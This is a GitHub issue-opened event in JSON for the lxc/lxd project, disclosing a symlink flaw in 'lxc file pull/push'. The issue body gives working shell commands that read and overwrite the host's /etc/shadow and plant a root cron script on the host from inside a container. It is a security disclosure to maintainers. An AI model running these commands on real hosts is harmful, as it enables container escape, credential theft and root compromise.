{"action":"opened","issue":{"url":"https://api.github.com/repos/lxc/lxd/issues/789","labels_url":"https://api.github.com/repos/lxc/lxd/issues/789/labels{/name}","comments_url":"https://api.github.com/repos/lxc/lxd/issues/789/comments","events_url":"https://api.github.com/repos/lxc/lxd/issues/789/events","html_url":"https://github.com/lxc/lxd/issues/789","id":90985398,"number":789,"title":"lxc file pull/push symlink security issue","user":{"login":"jhenninger","id":197274,"avatar_url":"https://avatars.githubusercontent.com/u/197274?v=3","gravatar_id":"","url":"https://api.github.com/users/jhenninger","html_url":"https://github.com/jhenninger","followers_url":"https://api.github.com/users/jhenninger/followers","following_url":"https://api.github.com/users/jhenninger/following{/other_user}","gists_url":"https://api.github.com/users/jhenninger/gists{/gist_id}","starred_url":"https://api.github.com/users/jhenninger/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jhenninger/subscriptions","organizations_url":"https://api.github.com/users/jhenninger/orgs","repos_url":"https://api.github.com/users/jhenninger/repos","events_url":"https://api.github.com/users/jhenninger/events{/privacy}","received_events_url":"https://api.github.com/users/jhenninger/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":0,"created_at":"2015-06-25T14:46:25Z","updated_at":"2015-06-25T14:46:25Z","closed_at":null,"body":"Absolute symlinks are interpreted relative to the host's root directory instead of the container's.\r\n\r\n```\r\nlxc exec container -- ln -s /etc/shadow /tmp/shadow\r\nlxc file pull container/tmp/shadow shadow\r\n```\r\n`shadow` now contains the host's `/etc/shadow`. \r\n```\r\nvim shadow #make some changes\r\nlxc file push --mode=0600 shadow container/tmp/shadow\r\n```\r\nThe host's `/etc/shadow` now has our changes.\r\n\r\nWorks with directories too:\r\n```\r\ntouch script.sh\r\nlxc exec container -- ln -s /etc/cron.hourly /tmp/cron\r\nlxc file push --mode=0700 script.sh container/tmp/cron/\r\n```\r\n\r\n`script.sh` will now run every hour as root on the host system.\r\n"}}